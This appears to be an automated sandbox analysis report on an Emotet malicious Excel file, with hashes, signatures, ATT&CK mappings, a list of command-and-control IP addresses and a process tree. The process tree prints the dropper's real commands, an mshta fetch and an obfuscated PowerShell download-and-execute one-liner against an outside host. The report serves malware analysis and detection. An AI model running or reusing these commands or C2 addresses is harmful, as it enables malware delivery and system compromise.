emotet | eb6603526a03a2ea2182295e00d3275ed4c072e0fa120b55e215d78485d6ca67

Analysis

max time kernel
156s
max time network
163s
platform
windows10_x64
resource
win10-en-20211208
submitted
31/01/2022, 01:27

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General

Target
tmplpsse2vt.xls
Size 90KB
Sample220131-bt45fadbhm
SHA256 eb6603526a03a2ea2182295e00d3275ed4c072e0fa120b55e215d78485d6ca67
MD5 c2f896fadf12964c319152b787b9db5b
SHA1 07e4f1fd3c21d2c037710190869bcfbab62a006a
SHA512 9c5db9d13e87f19b324eea90e233086d9270e3b606f2c895436e9e7278c93851c582c0c559f58379523f0b5bcf395f603ac644b38929fdd77bec563bb897eb43
MD5 SHA1 SHA512

Score

10^/10

emotet epoch5 banker trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.172/ee/ss/se.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.172/ee/ss/se.png

Extracted

Family

emotet

Botnet

Epoch5

74.207.230.120:8080
139.196.72.155:8080
37.44.244.177:8080
37.59.209.141:8080
116.124.128.206:8080
217.182.143.207:443
54.37.228.122:443
203.153.216.46:443
168.197.250.14:80
207.148.81.119:8080
195.154.146.35:443
78.46.73.125:443
191.252.103.16:80
210.57.209.142:8080
185.168.130.138:443
142.4.219.173:8080
118.98.72.86:443
78.47.204.80:443
159.69.237.188:443
190.90.233.66:443
104.131.62.48:8080
62.171.178.147:8080
185.148.168.15:8080
54.38.242.185:443
198.199.98.78:8080
194.9.172.107:8080
85.214.67.203:8080
66.42.57.149:443
185.148.168.220:8080
103.41.204.169:8080
128.199.192.135:8080
195.77.239.39:8080
59.148.253.194:443

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2172	3708	cmd.exe	68

Blocklisted process makes network request 3 IoCs

flow	pid	Process
37	3608	mshta.exe
40	1508	powershell.exe
48	1508	powershell.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
2624	rundll32.exe
3860	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Wcnvnrxar\rkeplvzrurncmj.ihe	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1396	3608	WerFault.exe	76

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3708	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
1508	powershell.exe
1508	powershell.exe
1508	powershell.exe
1396	WerFault.exe
1396	WerFault.exe
1396	WerFault.exe
1396	WerFault.exe
1396	WerFault.exe
1396	WerFault.exe
1396	WerFault.exe
1396	WerFault.exe
1396	WerFault.exe
1396	WerFault.exe
1396	WerFault.exe
1396	WerFault.exe
1396	WerFault.exe
1396	WerFault.exe
3920	rundll32.exe
3920	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1508	powershell.exe
Token: SeDebugPrivilege	1396	WerFault.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
3708	EXCEL.EXE
3708	EXCEL.EXE
3708	EXCEL.EXE
3708	EXCEL.EXE
3708	EXCEL.EXE
3708	EXCEL.EXE
3708	EXCEL.EXE
3708	EXCEL.EXE
3708	EXCEL.EXE
3708	EXCEL.EXE
3708	EXCEL.EXE
3708	EXCEL.EXE
3708	EXCEL.EXE
3708	EXCEL.EXE
3708	EXCEL.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3708 wrote to memory of 2172	3708	EXCEL.EXE	72
PID 3708 wrote to memory of 2172	3708	EXCEL.EXE	72
PID 2172 wrote to memory of 3884	2172	cmd.exe	74
PID 2172 wrote to memory of 3884	2172	cmd.exe	74
PID 2172 wrote to memory of 3932	2172	cmd.exe	75
PID 2172 wrote to memory of 3932	2172	cmd.exe	75
PID 3932 wrote to memory of 3608	3932	cmd.exe	76
PID 3932 wrote to memory of 3608	3932	cmd.exe	76
PID 3608 wrote to memory of 1508	3608	mshta.exe	80
PID 3608 wrote to memory of 1508	3608	mshta.exe	80
PID 1508 wrote to memory of 2892	1508	powershell.exe	83
PID 1508 wrote to memory of 2892	1508	powershell.exe	83
PID 2892 wrote to memory of 2624	2892	cmd.exe	84
PID 2892 wrote to memory of 2624	2892	cmd.exe	84
PID 2892 wrote to memory of 2624	2892	cmd.exe	84
PID 2624 wrote to memory of 3860	2624	rundll32.exe	85
PID 2624 wrote to memory of 3860	2624	rundll32.exe	85
PID 2624 wrote to memory of 3860	2624	rundll32.exe	85
PID 3860 wrote to memory of 1924	3860	rundll32.exe	86
PID 3860 wrote to memory of 1924	3860	rundll32.exe	86
PID 3860 wrote to memory of 1924	3860	rundll32.exe	86
PID 1924 wrote to memory of 3920	1924	rundll32.exe	87
PID 1924 wrote to memory of 3920	1924	rundll32.exe	87
PID 1924 wrote to memory of 3920	1924	rundll32.exe	87

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmplpsse2vt.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3708
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c set ooo=mshta http://91.240.118.172/ee/ss/se.html & echo %ooo% | cmd
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo %ooo% "
    3⤵
    PID:3884
- - C:\Windows\system32\cmd.exe
    cmd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3932
  - - C:\Windows\system32\mshta.exe
      mshta http://91.240.118.172/ee/ss/se.html
      4⤵
      Blocklisted process makes network request
      Suspicious use of WriteProcessMemory
      PID:3608
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FutuReD}{FutuReD}Ne{FutuReD}{FutuReD}w{FutuReD}-Obj{FutuReD}ec{FutuReD}{FutuReD}t N{FutuReD}{FutuReD}et{FutuReD}.W{FutuReD}{FutuReD}e'.replace('{FutuReD}', ''); $c4='bC{FutuReD}li{FutuReD}{FutuReD}en{FutuReD}{FutuReD}t).D{FutuReD}{FutuReD}ow{FutuReD}{FutuReD}nl{FutuReD}{FutuReD}{FutuReD}o'.replace('{FutuReD}', ''); $c3='ad{FutuReD}{FutuReD}St{FutuReD}rin{FutuReD}{FutuReD}g{FutuReD}(''ht{FutuReD}tp{FutuReD}://91.240.118.172/ee/ss/se.png'')'.replace('{FutuReD}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1508
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll,KitKat
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2892
        
        C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll,KitKat
        7⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2624
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\Milossd.dll",DllRegisterServer
        8⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3860
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Wcnvnrxar\rkeplvzrurncmj.ihe",znVlyxtcmNa
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:1924
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Wcnvnrxar\rkeplvzrurncmj.ihe",DllRegisterServer
        10⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3920
    - - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 3608 -s 1652
        5⤵
        Program crash
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1396

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1508-296-0x000001D7380D0000-0x000001D7380D2000-memory.dmp

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memory/1508-309-0x000001D7387F0000-0x000001D738866000-memory.dmp

Download

memory/1508-277-0x000001D71FE80000-0x000001D71FEA2000-memory.dmp

Download

memory/1508-314-0x000001D7380D6000-0x000001D7380D8000-memory.dmp

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memory/1508-297-0x000001D7380D3000-0x000001D7380D5000-memory.dmp

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memory/1508-298-0x000001D738040000-0x000001D73807C000-memory.dmp

Download

memory/1924-382-0x00000000032B0000-0x00000000032D7000-memory.dmp

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memory/2624-337-0x00000000046F0000-0x0000000004717000-memory.dmp

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memory/3708-380-0x00007FFD329F0000-0x00007FFD32A00000-memory.dmp

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memory/3708-128-0x00007FFD2F860000-0x00007FFD2F870000-memory.dmp

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memory/3708-118-0x00007FFD329F0000-0x00007FFD32A00000-memory.dmp

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memory/3708-117-0x00007FFD329F0000-0x00007FFD32A00000-memory.dmp

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memory/3708-129-0x00007FFD2F860000-0x00007FFD2F870000-memory.dmp

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memory/3708-116-0x00007FFD329F0000-0x00007FFD32A00000-memory.dmp

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memory/3708-119-0x00007FFD329F0000-0x00007FFD32A00000-memory.dmp

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memory/3708-115-0x00007FFD329F0000-0x00007FFD32A00000-memory.dmp

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memory/3708-381-0x00007FFD329F0000-0x00007FFD32A00000-memory.dmp

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memory/3708-379-0x00007FFD329F0000-0x00007FFD32A00000-memory.dmp

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memory/3708-378-0x00007FFD329F0000-0x00007FFD32A00000-memory.dmp

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memory/3860-342-0x0000000001130000-0x0000000001157000-memory.dmp

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memory/3860-349-0x0000000004D60000-0x0000000004D87000-memory.dmp

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memory/3860-347-0x0000000004D00000-0x0000000004D27000-memory.dmp

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memory/3860-344-0x00000000047C0000-0x00000000047E7000-memory.dmp

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memory/3860-340-0x0000000000D60000-0x0000000000D87000-memory.dmp

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memory/3860-351-0x0000000004DC0000-0x0000000004DE7000-memory.dmp

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memory/3920-386-0x0000000000ED0000-0x0000000000EF7000-memory.dmp

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memory/3920-388-0x00000000011B0000-0x00000000011D7000-memory.dmp

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memory/3920-391-0x00000000049F0000-0x0000000004A17000-memory.dmp

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memory/3920-393-0x0000000004AD0000-0x0000000004AF7000-memory.dmp

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